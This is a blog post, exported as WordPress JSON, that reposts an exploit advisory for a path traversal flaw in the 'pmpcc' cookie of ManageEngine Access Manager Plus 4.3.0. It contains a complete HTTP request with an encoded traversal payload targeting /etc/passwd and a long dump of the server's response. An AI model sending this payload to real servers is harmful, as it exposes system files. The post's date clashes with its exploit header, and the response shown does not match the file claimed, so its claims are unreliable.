{"id":39907,"date":"2023-04-03T23:49:06","date_gmt":"2023-04-03T19:49:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171645\/manageengineamp430-traversal.txt"},"modified":"2023-04-10T13:22:36","modified_gmt":"2023-04-10T08:52:36","slug":"manageengine-access-manager-plus-4-3-0-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/manageengine-access-manager-plus-4-3-0-path-traversal\/","title":{"rendered":"ManageEngine Access Manager Plus 4.3.0 Path Traversal"},"content":{"rendered":"<p>## Exploit Title: ManageEngine Access Manager Plus 4.3.0 &#8211; File-path-traversal<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 11.22.2023<br \/>\n## Vendor: https:\/\/www.manageengine.com\/<br \/>\n## Software: https:\/\/www.manageengine.com\/privileged-session-management\/download.html<br \/>\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/ManageEngine\/Access-Manager-Plus-version-4.3-(Build-4309)<\/p>\n<p>## Description:<br \/>\nThe `pmpcc` cookie is vulnerable to path traversal attacks, enabling<br \/>\nread access to arbitrary files on the server.<br \/>\nThe testing payload<br \/>\n&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/etc\/passwd<br \/>\nwas submitted in the pmpcc cookie.<br \/>\nThe requested file was returned in the application&#8217;s response.<br \/>\nThe attacker easy can see all the JS structures of the server and can<br \/>\nperform very dangerous actions.<\/p>\n<p>## STATUS: HIGH Vulnerability<\/p>\n[+] Exploits:<br \/>\n&#8220;`GET<br \/>\nGET \/amp\/webapi\/?requestType=GET_AMP_JS_VALUES HTTP\/1.1<br \/>\nHost: localhost:9292<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept: *\/*<br \/>\nAccept-Language: en-US;q=0.9,en;q=0.8<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)<br \/>\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.5304.107<br \/>\nSafari\/537.36<br \/>\nConnection: close<br \/>\nCache-Control: max-age=0<br \/>\nCookie: pmpcc=&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2f&#8230;%2f.%2fetc%2fpasswd;<br \/>\n_zcsr_tmp=41143b42-8ff3-4fb0-8b30-688f63f9bf9a;<br \/>\nJSESSIONID=2D2DB63E708680CBC717A8A165CE1D6E;<br \/>\nJSESSIONIDSSO=314212F36F55D2CE1E7A76F98800E194<br \/>\nSec-CH-UA: &#8220;.Not\/A)Brand&#8221;;v=&#8221;99&#8243;, &#8220;Google Chrome&#8221;;v=&#8221;107&#8243;, &#8220;Chromium&#8221;;v=&#8221;107&#8243;<br \/>\nSec-CH-UA-Mobile: ?0<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nSec-CH-UA-Platform: Windows<br \/>\nReferer: https:\/\/localhost:9292\/AMPHome.html<br \/>\n&#8220;`<\/p>\n[+] Response:<\/p>\n<p>&#8220;`<br \/>\n,&#8217;js.pmp.helpCertRequest.subcontent10&#8242;:&#8217;The issued certificate is<br \/>\ne-mailed to the user who raises the request, the user who closes the<br \/>\nrequest and also to those e-mail ids specified at the time of closing<br \/>\nthe request.&#8217;<br \/>\n,&#8217;js.admin.HelpDeskIntegrate.UsernameEgServiceNow&#8217;:&#8217;ServiceNow login username&#8217;<br \/>\n,&#8217;js.PassTrixMainTab.ActiveDirectory.next_schedule_time&#8217;:&#8217;Next<br \/>\nsynchronization is scheduled to run on&#8217;<br \/>\n,&#8217;js.agent.csharp_Windows_Agent&#8217;:&#8217;C# Windows Agent&#8217;<br \/>\n,&#8217;js.PassTrixMainTab.in_sec&#8217;:&#8217;Seconds&#8217;<br \/>\n,&#8217;godaddy.importcsr.selectfileorpastecontent&#8217;:&#8217;Either select a file or<br \/>\npaste the CSR content.&#8217;<br \/>\n,&#8217;js.connection.colors&#8217;:&#8217;Colors&#8217;<br \/>\n,&#8217;js.general.ShareToGroups&#8217;:&#8217;Share resource to user groups&#8217;<br \/>\n,&#8217;js.connection.mapdisk&#8217;:&#8217;Drives&#8217;<br \/>\n,&#8217;jsp.admin.Support.User_Forums&#8217;:&#8217;User Forums&#8217;<br \/>\n,&#8217;js.general.CreateResource.Dns_url_check&#8217;:&#8217;Enter a valid URL . For<br \/>\ncloud services (Rackspace and AWS IAM), the DNS name &lt;br&gt;looks like a<br \/>\nURL (ex: https:\\\/\\\/identity.api.rackspacecloud.com\\\/v2.0)&#8217;<br \/>\n,&#8217;js.admin.RPA_Integration.About&#8217;:&#8217;PAM360 renders bots that seamlessly<br \/>\nintegrate and perfectly fit into the pre-designed and automated<br \/>\nintegrations of the below listed RPA-powered platforms, to simulate<br \/>\nthe routine manual password retrieval from the PAM360 vault.&#8217;<br \/>\n,&#8217;js.discovery.loadhostnamefromfile&#8217;:&#8217;From file&#8217;<br \/>\n,&#8217;js.AddListenerDetails.Please_enter_valid_implementation_class&#8217;:&#8217;Please<br \/>\nenter a valid Implementation Class&#8217;<br \/>\n,&#8217;js.general.GroupedResources&#8217;:&#8217;Grouped Resources&#8217;<br \/>\n,&#8217;js.general.SlaveServer&#8217;:&#8217;This operation is not permitted in Secondary Server.&#8217;<br \/>\n,&#8217;PROCESSID&#8217;:&#8217;Process Id&#8217;<br \/>\n,&#8217;js.resources.serviceaccount.SupportedSAccounts.Services_fetched_successfully&#8217;:&#8217;Services<br \/>\nfetched successfully&#8217;<br \/>\n,&#8217;assign.defaultdns.nodnsconfigured&#8217;:&#8217;No default DNS available\\\/enabled&#8217;<br \/>\n,&#8217;js.commonstr.search&#8217;:&#8217;Search&#8217;<br \/>\n,&#8217;js.discovery.usercredential_type&#8217;:&#8217;Credential Type&#8217;<br \/>\n,&#8217;jsp.admin.GeneralSetting.Check_high_availability_status_for&#8217;:&#8217;Check<br \/>\nhigh availability status every &lt;input type=\\&#8221;text\\&#8221; class=\\&#8221;txtbox\\&#8221;<br \/>\nname=\\&#8221;check_duration\\&#8221; value=\\&#8221;{0}\\&#8221; size=\\&#8221;5\\&#8221; maxlength=\\&#8221;5\\&#8221;<br \/>\nstyle=\\&#8221;width:60px\\&#8221; onkeypress=\\&#8221;if(event.keyCode==13)return false;\\&#8221;<br \/>\n&gt; minutes.&#8217;<br \/>\n,&#8217;pki.js.help.entervalidnumber&#8217;:&#8217;Please enter a valid number for<br \/>\nNumeric Field Default Value.&#8217;<br \/>\n,&#8217;js.remoteapp.fetch&#8217;:&#8217;Fetch&#8217;<br \/>\n,&#8217;js.admin.HighAvailability.configured_successfully&#8217;:&#8217;Configured Successfully&#8217;<br \/>\n,&#8217;js.generalSettings_searchTerm_Password_reset&#8217;:&#8217;Password Reset,<br \/>\nReason for password reset, disable ticket id, waiting time, wait time<br \/>\nfor service account password reset, linux unix password reset&#8217;<br \/>\n,&#8217;letsencrypt.enter.domainnames&#8217;:&#8217;Enter domain names&#8217;<br \/>\n,&#8217;js.discovery.resourcetype&#8217;:&#8217;Resource Type&#8217;<br \/>\n,&#8217;js.HomeTab.UserTab&#8217;:&#8217;Set this tab as default view for \\&#8217;Users\\&#8221;<br \/>\n,&#8217;js.report.timeline.todate&#8217;:&#8217;Valid To&#8217;<br \/>\n,&#8217;js.general_Language_Changed_Successfully&#8217;:&#8217;Language Changed Successfully&#8217;<br \/>\n,&#8217;js.aws.credentials.label&#8217;:&#8217;AWS Credential&#8217;<br \/>\n,&#8217;auditpurge.helpnote1&#8242;:&#8217;Enter 0 or leave the field blank to disable<br \/>\npurging of audit trails.&#8217;<br \/>\n,&#8217;js.general.user.orgn_bulkManage&#8217;:&#8217;Manage Organization&#8217;<br \/>\n,&#8217;js.rolename.SSH_KEY&#8217;:&#8217;Create\\\/Add key&#8217;<br \/>\n,&#8217;js.admin.admin.singledbmultiserver.name&#8217;:&#8217;Application Scaling&#8217;<br \/>\n,&#8217;lets.encrypt.requestreport&#8217;:&#8217;Let\\&#8217;s Encrypt Requests Report&#8217;<br \/>\n,&#8217;js.settings.breach_settings.disable_api&#8217;:&#8217;Disable API Access&#8217;<br \/>\n,&#8217;js.cmd.delete.not_possible&#8217;:&#8217;Command cannot be deleted as it is<br \/>\nalready added to the following command set(s).&#8217;<br \/>\n,&#8217;js.settings.notification.domaincontent&#8217;:&#8217;Notify if domains are<br \/>\nexpiring within&#8217;<br \/>\n,&#8217;js.aws.searchuser&#8217;:&#8217;&#8211;Search UserName&#8211;&#8216;<br \/>\n,&#8217;jsp.admin.GeneralSetting.helpdesk_conf&#8217;:&#8217;Configure the ticketing<br \/>\nsystem settings in Admin &gt;&gt; General &gt;&gt; Ticketing System Integration.&#8217;<br \/>\n,&#8217;js.discovery.port&#8217;:&#8217;Gateway Port&#8217;<br \/>\n,&#8217;usermanagement.showCertificates&#8217;:&#8217;Show Certificates&#8217;<br \/>\n,&#8217;js.general.DestinationDirectoryCannotBeEmpty&#8217;:&#8217;Destination directory<br \/>\ncannot be empty&#8217;<br \/>\n,&#8217;js.sshreport.title&#8217;:&#8217;SSH Resource Report&#8217;<br \/>\n,&#8217;js.encryptionkey.update&#8217;:&#8217;Update&#8217;<br \/>\n,&#8217;js.aws.regions&#8217;:&#8217;Region&#8217;<br \/>\n,&#8217;js.settingsTitle1.UserManagement&#8217;:&#8217;User Management&#8217;<br \/>\n,&#8217;js.passwordPolicy.setRange&#8217;:&#8217;Enforce minimum or maximum password length&#8217;<br \/>\n,&#8217;js.commonstr.selectResources&#8217;:&#8217;Select Resources&#8217;<br \/>\n,&#8217;RULENAME&#8217;:&#8217;Rule Name&#8217;<br \/>\n,&#8217;jsp.admin.usergroups.AddUserGroupDialog.User_Group_added_successfully&#8217;:&#8217;User<br \/>\nGroup added successfully&#8217;<br \/>\n,&#8217;js.reports.SSHReports.title&#8217;:&#8217;SSH Reports&#8217;<br \/>\n,&#8217;js.CommonStr.ValueIsLess&#8217;:&#8217;value is less than 2&#8242;<br \/>\n,&#8217;js.discovery.discoverystatus&#8217;:&#8217;Discovery Status&#8217;<br \/>\n,&#8217;js.settings.security_settings.Web_Access&#8217;:&#8217;Web Access&#8217;<br \/>\n,&#8217;js.general.node_name_cannot_be_empty&#8217;:&#8217;Node name cannot be empty&#8217;<br \/>\n,&#8217;js.deploy.audit&#8217;:&#8217;Deploy Audit&#8217;<br \/>\n,&#8217;js.agentdiscovery.msca.title&#8217;:&#8217;Microsoft Certificate Authority&#8217;<br \/>\n,&#8217;jsp.resources.AccessControlView.Choose_the_excluded_groups&#8217;:&#8217;Nominate<br \/>\nuser group(s) to exempt from access control.&#8217;<br \/>\n,&#8217;js.pki.SelectCertificateGroup&#8217;:&#8217;Select Certificate Group(s)&#8217;<br \/>\n,&#8217;js.admin.HighAvailability.High_Availability_status&#8217;:&#8217;Status&#8217;<br \/>\n,&#8217;settings.metracker.note0&#8242;:&#8217;Disable ME Tracker if you do not wish to<br \/>\nallow ManageEngine to collect product usage details.&#8217;<br \/>\n,&#8217;SERVICENAME&#8217;:&#8217;Service Name&#8217;<br \/>\n,&#8217;settings.metracker.note1&#8242;:&#8217;Access Manager Plus server has to be<br \/>\nrestarted for the changes to take effect.&#8217;<br \/>\n,&#8217;js.general.NewPinMismatch&#8217;:&#8217;New PIN Mismatch&#8217;<br \/>\n,&#8217;js.HomeTab.ResourceTab&#8217;:&#8217;Set this tab as default view for \\&#8217;Resources\\&#8221;<br \/>\n,&#8217;java.ScheduleUtil.minutes&#8217;:&#8217;minutes&#8217;<br \/>\n,&#8217;js.admin.sdpop_change.tooltip&#8217;:&#8217;Enabling this option will require<br \/>\nyour users to provide valid Change IDs for the validation of password<br \/>\naccess requests and other similar operations. Leaving this option<br \/>\nunchecked requires the users to submit valid Request IDs for<br \/>\nvalidation.&#8217;<br \/>\n,&#8217;js.privacy_settings.title.redact&#8217;:&#8217;Redact&#8217;<br \/>\n,&#8217;js.admin.passwordrequests.Target_Resource_Selection_Alert&#8217;:&#8217;Only 25<br \/>\nresources can be selected&#8217;<br \/>\n,&#8217;js.aboutpage.websitetitle&#8217;:&#8217;Website&#8217;<br \/>\n,&#8217;js.customize.NumericField&#8217;:&#8217;Numeric Field&#8217;<br \/>\n,&#8217;js.please.select.file&#8217;:&#8217;Please select a file to upload.&#8217;<br \/>\n,&#8217;js.AutoLogon.Remote_connections&#8217;:&#8217;Remote Connections&#8217;<br \/>\n,&#8217;pki.snmp.port&#8217;:&#8217;Port&#8217;<br \/>\n,&#8217;java.dashboardutils.TODAY&#8217;:&#8217;TODAY&#8217;<br \/>\n,&#8217;js.schedule.starttime&#8217;:&#8217;Start Time&#8217;<br \/>\n,&#8217;js.ssh.keypassphrase&#8217;:&#8217;Passphrase&#8217;<br \/>\n,&#8217;js.gettingstarted.keystore.step1.one&#8217;:&#8217;Add keys to Access Manager Plus&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg4&#8242;:&#8217;guide&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg5&#8242;:&#8217;to complete the integration. For any<br \/>\nfurther questions, please write to us at<br \/>\npam360-support@manageengine.com.&#8217;<br \/>\n,&#8217;js.reportType.Option7.UserAuditReport&#8217;:&#8217;Audit Report&#8217;<br \/>\n,&#8217;js.common.csr&#8217;:&#8217;CSR&#8217;<br \/>\n,&#8217;js.globalsign.reissue.order&#8217;:&#8217;Reissue Order&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg6&#8242;:&#8217;Build a platform of expected behavior<br \/>\nfor individual users and entities by mapping different user accounts&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg7&#8242;:&#8217;Verify actionable reports that<br \/>\nsymbolize compromise with details about actual behavior and expected<br \/>\nbehavior.&#8217;<br \/>\n,&#8217;js.resources.importcredential&#8217;:&#8217;Import Credentials&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg1&#8242;:&#8217;The Advanced Analytics module for<br \/>\nPAM360, offered via ManageEngine Log360 UEBA, analyzes logs from<br \/>\ndifferent sources, including firewalls, routers, workstations,<br \/>\ndatabases, file servers and cloud services. Any deviation from normal<br \/>\nbehavior is classified as a time, count, or pattern anomaly. It then<br \/>\ngives actionable insight to the IT Administrator with the use of risk<br \/>\nscores, anomaly trends, and intuitive reports.&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg2&#8242;:&#8217;With Log360 UEBA analytics, you can:&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg3&#8242;:&#8217;To activate Log360 UEBA for your PAM360<br \/>\ninstance, download Log360 UEBA from the below link and follow the<br \/>\ninstructions in this&#8217;<br \/>\n,&#8217;js.settingsTitle2.MailServer&#8217;:&#8217;Mail Server&#8217;<br \/>\n,&#8217;jsp.admin.managekey.ChangeKey.Managing_the_PMP_encryption_key&#8217;:&#8217;Managing<br \/>\nAMP Encryption Key&#8217;<br \/>\n,&#8217;settings.unmappedmails.email&#8217;:&#8217;E-mail Address&#8217;<br \/>\n,&#8217;amp.connection.connection_type&#8217;:&#8217;Connection Type&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg8&#8242;:&#8217;Diagnose anomalous user behavior based<br \/>\non activity time, count, and pattern.&#8217;<br \/>\n,&#8217;godaddy.contactphone&#8217;:&#8217;Contact Phone&#8217;<br \/>\n,&#8217;js.general.HelpDeskIntegrate.ClassSameException&#8217;:&#8217;Class name already<br \/>\nimplemented. Implement with some other class.&#8217;<br \/>\n,&#8217;js.analytics.tab.ueba.msg9&#8242;:&#8217;Track abnormal entity behaviors in<br \/>\nWindows devices, SQL servers, FTP servers, and network devices such as<br \/>\nrouters, firewalls, and switches.&#8217;<br \/>\n,&#8217;js.rolename.freeCA.acme&#8217;:&#8217;ACME&#8217;<br \/>\n,&#8217;digicert.label.dcv.cname&#8217;:&#8217;CNAME Token&#8217;<br \/>\n,&#8217;js.helpcontent.createuser&#8217;:&#8217;User Creation &#8216;<br \/>\n,&#8217;pgpkeys.key.details&#8217;:&#8217;Key Information&#8217;<br \/>\n,&#8217;js.resources.discovery.ResourceDiscoveryStatus.discovery&#8217;:&#8217;Discovery Status&#8217;<br \/>\n,&#8217;js.HomeTab.TaskAuditView&#8217;:&#8217;Task Audit&#8217;<br \/>\n,&#8217;pki.js.certs.certGroupsSharedByUserGroups&#8217;:&#8217;Certificate Groups<br \/>\nShared With User Group(s)&#8217;<br \/>\n,&#8217;js.common.importcsr.format&#8217;:'(File format should be .csr)&#8217;<br \/>\n,&#8217;js.notificationpolicy.Submit&#8217;:&#8217;Save&#8217;<br \/>\n,&#8217;pmp.vct.User_Audit_Configuration&#8217;:&#8217;User Audit Configuration&#8217;<br \/>\n&#8230;<br \/>\n&#8230;<br \/>\n&#8230;<br \/>\n&#8220;`<\/p>\n<p>## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/ManageEngine\/Access-Manager-Plus-version-4.3-(Build-4309))<\/p>\n<p>## Reference:<br \/>\n[href](https:\/\/portswigger.net\/kb\/issues\/00100300_file-path-traversal)<\/p>\n<p>## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/scdzsb)<\/p>\n<p>## Time spent<br \/>\n`03:00:00`<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Exploit Title: ManageEngine Access Manager Plus 4.3.0 &#8211; File-path-traversal ## Author: nu11secur1ty ## Date: 11.22.2023 ## Vendor: https:\/\/www.manageengine.com\/ ## Software: https:\/\/www.manageengine.com\/privileged-session-management\/download.html ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/ManageEngine\/Access-Manager-Plus-version-4.3-(Build-4309) ## Description: The `pmpcc` cookie is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The testing payload &#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/&#8230;\/.\/etc\/passwd was submitted in the pmpcc cookie. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-39907","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39907","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=39907"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39907\/revisions"}],"predecessor-version":[{"id":40199,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39907\/revisions\/40199"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=39907"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=39907"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=39907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}